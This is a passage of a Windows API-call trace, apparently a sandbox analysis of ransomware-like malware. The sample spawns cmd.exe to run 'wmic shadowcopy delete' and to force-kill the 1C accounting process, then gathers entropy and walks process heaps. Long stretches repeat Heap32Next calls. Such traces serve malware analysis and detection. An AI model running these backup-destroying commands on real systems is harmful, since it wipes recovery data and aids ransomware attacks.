cbReserved2=0x144, lpReserved2=0x69c5b0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x37e5a8 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /c taskkill /im 1cv8.exe /T /F", lpProcessInformation=0x37e5a8*(hProcess=0x6c, hThread=0x70, dwProcessId=0x704, dwThreadId=0x710)) returned 1 [0046.274] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0 [0046.695] GetExitCodeProcess (in: hProcess=0x6c, lpExitCode=0x37e5c8 | out: lpExitCode=0x37e5c8*=0x80) returned 1 [0046.695] CloseHandle (hObject=0x70) returned 1 [0046.695] CloseHandle (hObject=0x6c) returned 1 [0046.695] GetLastError () returned 0x0 [0046.695] SetLastError (dwErrCode=0x0) [0046.695] GetLastError () returned 0x0 [0046.695] SetLastError (dwErrCode=0x0) [0046.695] GetLastError () returned 0x0 [0046.695] SetLastError (dwErrCode=0x0) [0046.695] AreFileApisANSI () returned 1 [0046.695] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0046.695] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x69c4f8, cchWideChar=28 | out: lpWideCharStr="C:\\Windows\\system32\\cmd.exe") returned 28 [0046.695] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x37e5a8 | out: lpFileInformation=0x37e5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1 [0046.695] GetLastError () returned 0x0 [0046.696] SetLastError (dwErrCode=0x0) [0046.696] CreateProcessA (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe /c wmic shadowcopy delete", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x37e564*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x69c5b0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x37e5a8 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /c wmic shadowcopy delete", lpProcessInformation=0x37e5a8*(hProcess=0x70, hThread=0x6c, dwProcessId=0x83c, dwThreadId=0x840)) returned 1 [0046.710] WaitForSingleObject (hHandle=0x70, dwMilliseconds=0xffffffff) returned 0x0 [0057.650] GetExitCodeProcess (in: hProcess=0x70, lpExitCode=0x37e5c8 | out: lpExitCode=0x37e5c8*=0x80041014) returned 1 [0057.650] CloseHandle (hObject=0x6c) returned 1 [0057.650] CloseHandle (hObject=0x70) returned 1 [0057.650] GetLastError () returned 0x0 [0057.650] SetLastError (dwErrCode=0x0) [0057.651] AreFileApisANSI () returned 1 [0057.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0057.651] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x37e5a8 | out: lpFileInformation=0x37e5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1 [0057.671] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0 [0059.882] GetExitCodeProcess (in: hProcess=0x6c, lpExitCode=0x37e5c8 | out: lpExitCode=0x37e5c8*=0x424) returned 1 [0059.882] CloseHandle (hObject=0x70) returned 1 [0059.882] CloseHandle (hObject=0x6c) returned 1 [0059.882] GetLastError () returned 0x0 [0059.882] SetLastError (dwErrCode=0x0) [0059.882] AreFileApisANSI () returned 1 [0059.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0059.899] WaitForSingleObject (hHandle=0x70, dwMilliseconds=0xffffffff) returned 0x0 [0060.120] GetExitCodeProcess (in: hProcess=0x70, lpExitCode=0x37e5c8 | out: lpExitCode=0x37e5c8*=0x424) returned 1 [0060.120] CloseHandle (hObject=0x6c) returned 1 [0060.120] CloseHandle (hObject=0x70) returned 1 [0060.120] GetLastError () returned 0x0 [0060.120] SetLastError (dwErrCode=0x0) [0060.120] AreFileApisANSI () returned 1 [0060.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0060.135] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0 [0060.333] GetExitCodeProcess (in: hProcess=0x6c, lpExitCode=0x37e5c8 | out: lpExitCode=0x37e5c8*=0x424) returned 1 [0060.334] CloseHandle (hObject=0x70) returned 1 [0060.334] CloseHandle (hObject=0x6c) returned 1 [0060.334] GetLastError () returned 0x0 [0060.334] SetLastError (dwErrCode=0x0) [0060.334] AreFileApisANSI () returned 1 [0060.334] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0060.347] WaitForSingleObject (hHandle=0x70, dwMilliseconds=0xffffffff) returned 0x0 [0060.533] GetExitCodeProcess (in: hProcess=0x70, lpExitCode=0x37e5c8 | out: lpExitCode=0x37e5c8*=0x424) returned 1 [0060.533] CloseHandle (hObject=0x6c) returned 1 [0060.533] CloseHandle (hObject=0x70) returned 1 [0060.533] GetLastError () returned 0x0 [0060.533] SetLastError (dwErrCode=0x0) [0060.533] AreFileApisANSI () returned 1 [0060.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0060.571] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0 [0060.763] GetExitCodeProcess (in: hProcess=0x6c, lpExitCode=0x37e5c8 | out: lpExitCode=0x37e5c8*=0x424) returned 1 [0060.763] CloseHandle (hObject=0x70) returned 1 [0060.763] CloseHandle (hObject=0x6c) returned 1 [0060.763] GetLastError () returned 0x0 [0060.763] SetLastError (dwErrCode=0x0) [0060.763] AreFileApisANSI () returned 1 [0060.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0060.778] WaitForSingleObject (hHandle=0x70, dwMilliseconds=0xffffffff) returned 0x0 [0061.022] GetExitCodeProcess (in: hProcess=0x70, lpExitCode=0x37e5c8 | out: lpExitCode=0x37e5c8*=0x424) returned 1 [0061.022] CloseHandle (hObject=0x6c) returned 1 [0061.022] CloseHandle (hObject=0x70) returned 1 [0061.022] GetLastError () returned 0x0 [0061.022] SetLastError (dwErrCode=0x0) [0061.022] AreFileApisANSI () returned 1 [0061.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0061.033] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0 [0061.212] GetExitCodeProcess (in: hProcess=0x6c, lpExitCode=0x37e5c8 | out: lpExitCode=0x37e5c8*=0x424) returned 1 [0061.212] CloseHandle (hObject=0x70) returned 1 [0061.212] CloseHandle (hObject=0x6c) returned 1 [0061.212] GetLastError () returned 0x0 [0061.212] SetLastError (dwErrCode=0x0) [0061.212] AreFileApisANSI () returned 1 [0061.212] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0061.223] WaitForSingleObject (hHandle=0x70, dwMilliseconds=0xffffffff) returned 0x0 [0061.403] GetExitCodeProcess (in: hProcess=0x70, lpExitCode=0x37e5c8 | out: lpExitCode=0x37e5c8*=0x424) returned 1 [0061.403] CloseHandle (hObject=0x6c) returned 1 [0061.403] CloseHandle (hObject=0x70) returned 1 [0061.403] GetLastError () returned 0x0 [0061.403] SetLastError (dwErrCode=0x0) [0061.404] AreFileApisANSI () returned 1 [0061.404] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0061.415] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0 [0061.586] GetExitCodeProcess (in: hProcess=0x6c, lpExitCode=0x37e5c8 | out: lpExitCode=0x37e5c8*=0x424) returned 1 [0061.586] CloseHandle (hObject=0x70) returned 1 [0061.586] CloseHandle (hObject=0x6c) returned 1 [0061.586] GetLastError () returned 0x0 [0061.586] SetLastError (dwErrCode=0x0) [0061.586] AreFileApisANSI () returned 1 [0061.586] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0061.600] WaitForSingleObject (hHandle=0x70, dwMilliseconds=0xffffffff) returned 0x0 [0061.771] GetExitCodeProcess (in: hProcess=0x70, lpExitCode=0x37e5c8 | out: lpExitCode=0x37e5c8*=0x424) returned 1 [0061.771] CloseHandle (hObject=0x6c) returned 1 [0061.771] CloseHandle (hObject=0x70) returned 1 [0061.771] GetLastError () returned 0x0 [0061.771] SetLastError (dwErrCode=0x0) [0061.779] NetStatisticsGet (in: ServerName=0x0, Service=0x144d328, Level=0x0, Options=0x0, Buffer=0x37e1e0 | out: Buffer=0x37e1e0) returned 0x0 [0061.792] GetCurrentThreadId () returned 0x94c [0061.793] NetStatisticsGet (in: ServerName=0x0, Service=0x144d34c, Level=0x0, Options=0x0, Buffer=0x37e1e0 | out: Buffer=0x37e1e0) returned 0x0 [0061.795] GetCurrentThreadId () returned 0x94c [0061.795] FreeLibrary (hLibModule=0x75200000) returned 1 [0061.798] GetProcAddress (hModule=0x75b30000, lpProcName="CryptAcquireContextW") returned 0x75b3df14 [0061.798] GetProcAddress (hModule=0x75b30000, lpProcName="CryptGenRandom") returned 0x75b3dfc8 [0061.798] GetProcAddress (hModule=0x75b30000, lpProcName="CryptReleaseContext") returned 0x75b3e124 [0061.798] CryptAcquireContextW (in: phProv=0x37e1d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x37e1d0*=0x69c958) returned 1 [0061.817] CryptGenRandom (in: hProv=0x69c958, dwLen=0x40, pbBuffer=0x37e580 | out: pbBuffer=0x37e580) returned 1 [0061.817] GetCurrentThreadId () returned 0x94c [0061.817] CryptReleaseContext (hProv=0x69c958, dwFlags=0x0) returned 1 [0061.817] CryptAcquireContextW (in: phProv=0x37e1d0, szContainer=0x0, szProvider="Intel Hardware Cryptographic Service Provider", dwProvType=0x16, dwFlags=0x0 | out: phProv=0x37e1d0*=0x69c958) returned 0 [0061.818] FreeLibrary (hLibModule=0x75b30000) returned 1 [0061.818] GetModuleHandleA (lpModuleName=0x0) returned 0x13a0000 [0061.818] GetProcAddress (hModule=0x13a0000, lpProcName="_OPENSSL_isservice") returned 0x0 [0061.818] GetProcessWindowStation () returned 0x58 [0061.818] GetUserObjectInformationW (in: hObj=0x58, nIndex=2, pvInfo=0x0, nLength=0x0, lpnLengthNeeded=0x37e134 | out: pvInfo=0x0, lpnLengthNeeded=0x37e134) returned 0 [0061.818] GetLastError () returned 0x7a [0061.818] GetUserObjectInformationW (in: hObj=0x58, nIndex=2, pvInfo=0x37e110, nLength=0x10, lpnLengthNeeded=0x37e134 | out: pvInfo=0x37e110, lpnLengthNeeded=0x37e134) returned 1 [0061.818] LoadLibraryA (lpLibFileName="USER32.DLL") returned 0x756f0000 [0061.818] GetProcAddress (hModule=0x756f0000, lpProcName="GetForegroundWindow") returned 0x75712320 [0061.818] GetProcAddress (hModule=0x756f0000, lpProcName="GetCursorInfo") returned 0x7576812f [0061.818] GetProcAddress (hModule=0x756f0000, lpProcName="GetQueueStatus") returned 0x75713924 [0061.818] GetForegroundWindow () returned 0x101aa [0061.818] GetCurrentThreadId () returned 0x94c [0061.818] GetCursorInfo (in: pci=0x37e56c | out: pci=0x37e56c) returned 1 [0061.819] GetQueueStatus (flags=0xbf) returned 0x0 [0061.832] GetCurrentThreadId () returned 0x94c [0061.832] FreeLibrary (hLibModule=0x756f0000) returned 1 [0061.832] GetProcAddress (hModule=0x75a20000, lpProcName="CreateToolhelp32Snapshot") returned 0x75a5735f [0061.832] GetProcAddress (hModule=0x75a20000, lpProcName="CloseToolhelp32Snapshot") returned 0x0 [0061.832] GetProcAddress (hModule=0x75a20000, lpProcName="Heap32First") returned 0x75ab5763 [0061.832] GetProcAddress (hModule=0x75a20000, lpProcName="Heap32Next") returned 0x75ab594e [0061.832] GetProcAddress (hModule=0x75a20000, lpProcName="Heap32ListFirst") returned 0x75ab5621 [0061.832] GetProcAddress (hModule=0x75a20000, lpProcName="Heap32ListNext") returned 0x75ab56cb [0061.832] GetProcAddress (hModule=0x75a20000, lpProcName="Process32First") returned 0x75a58ae7 [0061.832] GetProcAddress (hModule=0x75a20000, lpProcName="Process32Next") returned 0x75a588a4 [0061.832] GetProcAddress (hModule=0x75a20000, lpProcName="Thread32First") returned 0x75ab5b93 [0061.832] GetProcAddress (hModule=0x75a20000, lpProcName="Thread32Next") returned 0x75ab5c3f [0061.832] GetProcAddress (hModule=0x75a20000, lpProcName="Module32First") returned 0x75ab5cd9 [0061.832] GetProcAddress (hModule=0x75a20000, lpProcName="Module32Next") returned 0x75ab5dc2 [0061.833] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x78 [0061.839] GetTickCount () returned 0x1ce17 [0061.839] Heap32ListFirst (hSnapshot=0x78, lphl=0x37e570) returned 1 [0061.840] GetCurrentThreadId () returned 0x94c [0061.840] Heap32First (lphe=0x37e154, th32ProcessID=0x948, th32HeapID=0x680000) returned 1 [0061.843] GetCurrentThreadId () returned 0x94c [0061.843] Heap32Next (lphe=0x37e154) returned 1 [0061.844] GetTickCount () returned 0x1ce27 [0061.844] GetCurrentThreadId () returned 0x94c [0061.844] Heap32Next (lphe=0x37e154) returned 1 [0061.846] GetTickCount () returned 0x1ce27 [0061.846] GetCurrentThreadId () returned 0x94c [0061.846] Heap32Next (lphe=0x37e154) returned 1 [0061.848] GetTickCount () returned 0x1ce27 [0061.848] GetCurrentThreadId () returned 0x94c [0061.848] Heap32Next (lphe=0x37e154) returned 1 [0061.849] GetTickCount () returned 0x1ce27 [0061.849] GetCurrentThreadId () returned 0x94c [0061.849] Heap32Next (lphe=0x37e154) returned 1 [0061.851] GetTickCount () returned 0x1ce27 [0061.851] GetCurrentThreadId () returned 0x94c [0061.851] Heap32Next (lphe=0x37e154) returned 1 [0061.853] GetTickCount () returned 0x1ce27 [0061.853] GetCurrentThreadId () returned 0x94c [0061.853] Heap32Next (lphe=0x37e154) returned 1 [0061.854] GetTickCount () returned 0x1ce27 [0061.855] GetCurrentThreadId () returned 0x94c [0061.855] Heap32Next (lphe=0x37e154) returned 1 [0061.856] GetTickCount () returned 0x1ce27 [0061.856] GetCurrentThreadId () returned 0x94c [0061.856] Heap32Next (lphe=0x37e154) returned 1 [0061.859] GetTickCount () returned 0x1ce36 [0061.859] GetCurrentThreadId () returned 0x94c [0061.859] Heap32Next (lphe=0x37e154) returned 1 [0061.860] GetTickCount () returned 0x1ce36 [0061.860] GetCurrentThreadId () returned 0x94c [0061.860] Heap32Next (lphe=0x37e154) returned 1 [0061.862] GetTickCount () returned 0x1ce36 [0061.862] GetCurrentThreadId () returned 0x94c [0061.862] Heap32Next (lphe=0x37e154) returned 1 [0061.863] GetTickCount () returned 0x1ce36 [0061.863] GetCurrentThreadId () returned 0x94c [0061.863] Heap32Next (lphe=0x37e154) returned 1 [0061.865] GetTickCount () returned 0x1ce36 [0061.865] GetCurrentThreadId () returned 0x94c [0061.865] Heap32Next (lphe=0x37e154) returned 1 [0061.867] GetTickCount () returned 0x1ce36 [0061.867] GetCurrentThreadId () returned 0x94c [0061.867] Heap32Next (lphe=0x37e154) returned 1 [0061.869] GetTickCount () returned 0x1ce36 [0061.869] GetCurrentThreadId () returned 0x94c [0061.869] Heap32Next (lphe=0x37e154) returned 1 [0061.871] GetTickCount () returned 0x1ce36 [0061.871] GetCurrentThreadId () returned 0x94c [0061.871] Heap32Next (lphe=0x37e154) returned 1 [0061.875] GetTickCount () returned 0x1ce46 [0061.875] GetCurrentThreadId () returned 0x94c [0061.875] Heap32Next (lphe=0x37e154) returned 1 [0061.877] GetTickCount () returned 0x1ce46 [0061.877] GetCurrentThreadId () returned 0x94c [0061.877] Heap32Next (lphe=0x37e154) returned 1 [0061.878] GetTickCount () returned 0x1ce46 [0061.878] GetCurrentThreadId () returned 0x94c [0061.878] Heap32Next (lphe=0x37e154) returned 1 [0061.880] GetTickCount () returned 0x1ce46 [0061.880] GetCurrentThreadId () returned 0x94c [0061.880] Heap32Next (lphe=0x37e154) returned 1 [0061.882] GetTickCount () returned 0x1ce46 [0061.882] GetCurrentThreadId () returned 0x94c [0061.882] Heap32Next (lphe=0x37e154) returned 1 [0061.883] GetTickCount () returned 0x1ce46 [0061.883] GetCurrentThreadId () returned 0x94c [0061.883] Heap32Next (lphe=0x37e154) returned 1 [0061.885] GetTickCount () returned 0x1ce46 [0061.885] GetCurrentThreadId () returned 0x94c [0061.885] Heap32Next (lphe=0x37e154) returned 1 [0061.887] GetTickCount () returned 0x1ce46 [0061.887] GetCurrentThreadId () returned 0x94c [0061.887] Heap32Next (lphe=0x37e154) returned 1 [0061.890] GetTickCount () returned 0x1ce55 [0061.890] GetCurrentThreadId () returned 0x94c [0061.890] Heap32Next (lphe=0x37e154) returned 1 [0061.892] GetTickCount () returned 0x1ce55 [0061.892] GetCurrentThreadId () returned 0x94c [0061.892] Heap32Next (lphe=0x37e154) returned 1 [0061.893] GetTickCount () returned 0x1ce55 [0061.893] GetCurrentThreadId () returned 0x94c [0061.893] Heap32Next (lphe=0x37e154) returned 1 [0061.895] GetTickCount () returned 0x1ce55 [0061.895] GetCurrentThreadId () returned 0x94c [0061.895] Heap32Next (lphe=0x37e154) returned 1 [0061.897] GetTickCount () returned 0x1ce55 [0061.897] GetCurrentThreadId () returned 0x94c [0061.897] Heap32Next (lphe=0x37e154) returned 1 [0061.899] GetTickCount () returned 0x1ce55 [0061.899] GetCurrentThreadId () returned 0x94c [0061.899] Heap32Next (lphe=0x37e154) returned 1 [0061.900] GetTickCount () returned 0x1ce55 [0061.900] GetCurrentThreadId () returned 0x94c [0061.900] Heap32Next (lphe=0x37e154) returned 1 [0061.902] GetTickCount () returned 0x1ce55 [0061.902] GetCurrentThreadId () returned 0x94c [0061.902] Heap32Next (lphe=0x37e154) returned 1 [0061.904] GetTickCount () returned 0x1ce65 [0061.904] GetCurrentThreadId () returned 0x94c [0061.905] Heap32Next (lphe=0x37e154) returned 1 [0061.906] GetTickCount () returned 0x1ce65 [0061.906] GetCurrentThreadId () returned 0x94c [0061.906] Heap32Next (lphe=0x37e154) returned 1 [0061.908] GetTickCount () returned 0x1ce65 [0061.908] GetCurrentThreadId () returned 0x94c [0061.908] Heap32Next (lphe=0x37e154) returned 1 [0061.910] GetTickCount () returned 0x1ce65 [0061.910] GetCurrentThreadId () returned 0x94c [0061.910] Heap32Next (lphe=0x37e154) returned 1 [0061.912] GetTickCount () returned 0x1ce65 [0061.912] GetCurrentThreadId () returned 0x94c [0061.912] Heap32Next (lphe=0x37e154) returned 1 [0061.914] GetTickCount () returned 0x1ce65 [0061.914] GetCurrentThreadId () returned 0x94c [0061.914] Heap32Next (lphe=0x37e154) returned 1 [0061.916] GetTickCount () returned 0x1ce65 [0061.916] GetCurrentThreadId () returned 0x94c [0061.916] Heap32Next (lphe=0x37e154) returned 1 [0061.918] GetTickCount () returned 0x1ce65 [0061.918] GetCurrentThreadId () returned 0x94c [0061.918] Heap32Next (lphe=0x37e154) returned 1 [0061.923] GetTickCount () returned 0x1ce75 [0061.923] GetCurrentThreadId () returned 0x94c [0061.923] Heap32Next (lphe=0x37e154) returned 1 [0061.925] GetTickCount () returned 0x1ce75 [0061.925] GetCurrentThreadId () returned 0x94c [0061.925] Heap32Next (lphe=0x37e154) returned 1 [0061.926] GetTickCount () returned 0x1ce75 [0061.926] GetCurrentThreadId () returned 0x94c [0061.926] Heap32Next (lphe=0x37e154) returned 1 [0061.928] GetTickCount () returned 0x1ce75 [0061.928] GetCurrentThreadId () returned 0x94c [0061.928] Heap32Next (lphe=0x37e154) returned 1 [0061.929] GetTickCount () returned 0x1ce75 [0061.929] GetCurrentThreadId () returned 0x94c [0061.929] Heap32Next (lphe=0x37e154) returned 1 [0061.931] GetTickCount () returned 0x1ce75 [0061.931] GetCurrentThreadId () returned 0x94c [0061.931] Heap32Next (lphe=0x37e154) returned 1 [0061.933] GetTickCount () returned 0x1ce75 [0061.933] GetCurrentThreadId () returned 0x94c [0061.933] Heap32Next (lphe=0x37e154) returned 1 [0061.934] GetTickCount () returned 0x1ce75 [0061.934] GetCurrentThreadId () returned 0x94c [0061.934] Heap32Next (lphe=0x37e154) returned 1 [0061.942] GetTickCount () returned 0x1ce84 [0061.942] GetCurrentThreadId () returned 0x94c [0061.942] Heap32Next (lphe=0x37e154) returned 1 [0061.943] GetTickCount () returned 0x1ce84 [0061.943] GetCurrentThreadId () returned 0x94c [0061.943] Heap32Next (lphe=0x37e154) returned 1 [0061.945] GetTickCount () returned 0x1ce84 [0061.945] GetCurrentThreadId () returned 0x94c [0061.945] Heap32Next (lphe=0x37e154) returned 1 [0061.947] GetTickCount () returned 0x1ce84 [0061.947] GetCurrentThreadId () returned 0x94c [0061.947] Heap32Next (lphe=0x37e154) returned 1 [0061.948] GetTickCount () returned 0x1ce84 [0061.948] GetCurrentThreadId () returned 0x94c [0061.948] Heap32Next (lphe=0x37e154) returned 1 [0061.951] GetTickCount () returned 0x1ce94 [0061.951] GetCurrentThreadId () returned 0x94c [0061.951] Heap32Next (lphe=0x37e154) returned 1 [0061.952] GetTickCount () returned 0x1ce94 [0061.952] GetCurrentThreadId () returned 0x94c [0061.952] Heap32Next (lphe=0x37e154) returned 1 [0061.954] GetTickCount () returned 0x1ce94 [0061.954] GetCurrentThreadId () returned 0x94c [0061.954] Heap32Next (lphe=0x37e154) returned 1 [0061.956] GetTickCount () returned 0x1ce94 [0061.956] GetCurrentThreadId () returned 0x94c [0061.956] Heap32Next (lphe=0x37e154) returned 1 [0061.957] GetTickCount () returned 0x1ce94 [0061.957] GetCurrentThreadId () returned 0x94c [0061.957] Heap32Next (lphe=0x37e154) returned 1 [0061.959] GetTickCount () returned 0x1ce94 [0061.959] GetCurrentThreadId () returned 0x94c [0061.959] Heap32Next (lphe=0x37e154) returned 1 [0061.961] GetTickCount () returned 0x1ce94 [0061.961] GetCurrentThreadId () returned 0x94c [0061.961] Heap32Next (lphe=0x37e154) returned 1 [0061.962] GetTickCount () returned 0x1ce94 [0061.962] GetCurrentThreadId () returned 0x94c [0061.963] Heap32Next (lphe=0x37e154) returned 1 [0061.964] GetTickCount () returned 0x1ce94 [0061.964] GetCurrentThreadId () returned 0x94c [0061.964] Heap32Next (lphe=0x37e154) returned 1 [0061.966] GetTickCount () returned 0x1ce94 [0061.966] GetCurrentThreadId () returned 0x94c [0061.966] Heap32Next (lphe=0x37e154) returned 1 [0061.969] GetTickCount () returned 0x1cea3 [0061.969] GetCurrentThreadId () returned 0x94c [0061.969] Heap32Next (lphe=0x37e154) returned 1 [0061.971] GetTickCount () returned 0x1cea3 [0061.971] GetCurrentThreadId () returned 0x94c [0061.971] Heap32Next (lphe=0x37e154) returned 1 [0061.972] GetTickCount () returned 0x1cea3 [0061.972] GetCurrentThreadId () returned 0x94c [0061.972] Heap32Next (lphe=0x37e154) returned 1 [0061.974] GetTickCount () returned 0x1cea3 [0061.974] GetCurrentThreadId () returned 0x94c [0061.974] Heap32Next (lphe=0x37e154) returned 1 [0061.976] GetTickCount () returned 0x1cea3 [0061.976] GetCurrentThreadId () returned 0x94c [0061.976] Heap32Next (lphe=0x37e154) returned 1 [0061.977] GetTickCount () returned 0x1cea3 [0061.977] GetCurrentThreadId () returned 0x94c [0061.977] Heap32Next (lphe=0x37e154) returned 1 [0061.979] GetTickCount () returned 0x1cea3 [0061.979] GetCurrentThreadId () returned 0x94c [0061.979] Heap32Next (lphe=0x37e154) returned 1 [0061.981] GetTickCount () returned 0x1cea3 [0061.981] GetCurrentThreadId () returned 0x94c [0061.981] Heap32Next (lphe=0x37e154) returned 1 [0061.983] GetTickCount () returned 0x1ceb3 [0061.983] GetCurrentThreadId () returned 0x94c [0061.984] Heap32Next (lphe=0x37e154) returned 1 [0061.985] GetTickCount () returned 0x1ceb3 [0061.985] GetCurrentThreadId () returned 0x94c [0061.985] Heap32Next (lphe=0x37e154) returned 1 [0061.987] GetTickCount () returned 0x1ceb3 [0061.987] GetCurrentThreadId () returned 0x94c [0061.987] Heap32Next (lphe=0x37e154) returned 1 [0061.989] GetTickCount () returned 0x1ceb3 [0061.989] GetCurrentThreadId () returned 0x94c [0061.989] Heap32Next (lphe=0x37e154) returned 1 [0061.990] GetTickCount () returned 0x1ceb3 [0061.990] GetCurrentThreadId () returned 0x94c [0061.990] Heap32Next (lphe=0x37e154) returned 1 [0061.992] GetTickCount () returned 0x1ceb3 [0061.992] GetCurrentThreadId () returned 0x94c [0061.992] Heap32Next (lphe=0x37e154) returned 1 [0061.994] GetTickCount () returned 0x1ceb3 [0061.994] GetCurrentThreadId () returned 0x94c [0061.994] Heap32Next (lphe=0x37e154) returned 1 [0061.995] GetTickCount () returned 0x1ceb3 [0061.995] GetCurrentThreadId () returned 0x94c [0061.996] Heap32Next (lphe=0x37e154) returned 1 [0061.998] GetTickCount () returned 0x1cec3 [0061.998] Heap32ListNext (hSnapshot=0x78, lphl=0x37e570) returned 1 [0061.998] GetTickCount () returned 0x1cec3 [0061.998] GetCurrentThreadId () returned 0x94c [0061.999] Heap32First (lphe=0x37e154, th32ProcessID=0x948, th32HeapID=0x140000) returned 1 [0062.000] GetCurrentThreadId () returned 0x94c [0062.000] Heap32Next (lphe=0x37e154) returned 1 [0062.002] GetTickCount () returned 0x1cec3 [0062.002] GetCurrentThreadId () returned 0x94c [0062.002] Heap32Next (lphe=0x37e154) returned 1 [0062.003] GetTickCount () returned 0x1cec3 [0062.003] GetCurrentThreadId () returned 0x94c [0062.004] Heap32Next (lphe=0x37e154) returned 1 [0062.005] GetTickCount () returned 0x1cec3 [0062.005] GetCurrentThreadId () returned 0x94c [0062.005] Heap32Next (lphe=0x37e154) returned 1 [0062.007] GetTickCount () returned 0x1cec3 [0062.007] GetCurrentThreadId () returned 0x94c [0062.007] Heap32Next (lphe=0x37e154) returned 1 [0062.009] GetTickCount () returned 0x1cec3 [0062.009] GetCurrentThreadId () returned 0x94c [0062.009] Heap32Next (lphe=0x37e154) returned 1 [0062.010] GetTickCount () returned 0x1cec3 [0062.010] GetCurrentThreadId () returned 0x94c [0062.011] Heap32Next (lphe=0x37e154) returned 1 [0062.012] GetTickCount () returned 0x1cec3 [0062.012] GetCurrentThreadId () returned 0x94c [0062.013] Heap32Next (lphe=0x37e154) returned 1 [0062.015] GetTickCount () returned 0x1ced2 [0062.015] GetCurrentThreadId () returned 0x94c [0062.015] Heap32Next (lphe=0x37e154) returned 1 [0062.017] GetTickCount () returned 0x1ced2 [0062.017] GetCurrentThreadId () returned 0x94c [0062.018] Heap32Next (lphe=0x37e154) returned 1 [0062.020] GetTickCount () returned 0x1ced2 [0062.020] GetCurrentThreadId () returned 0x94c [0062.020] Heap32Next (lphe=0x37e154) returned 1 [0062.022] GetTickCount () returned 0x1ced2 [0062.022] GetCurrentThreadId () returned 0x94c [0062.022] Heap32Next (lphe=0x37e154) returned 1 [0062.025] GetTickCount () returned 0x1ced2 [0062.025] GetCurrentThreadId () returned 0x94c [0062.025] Heap32Next (lphe=0x37e154) returned 1 [0062.027] GetTickCount () returned 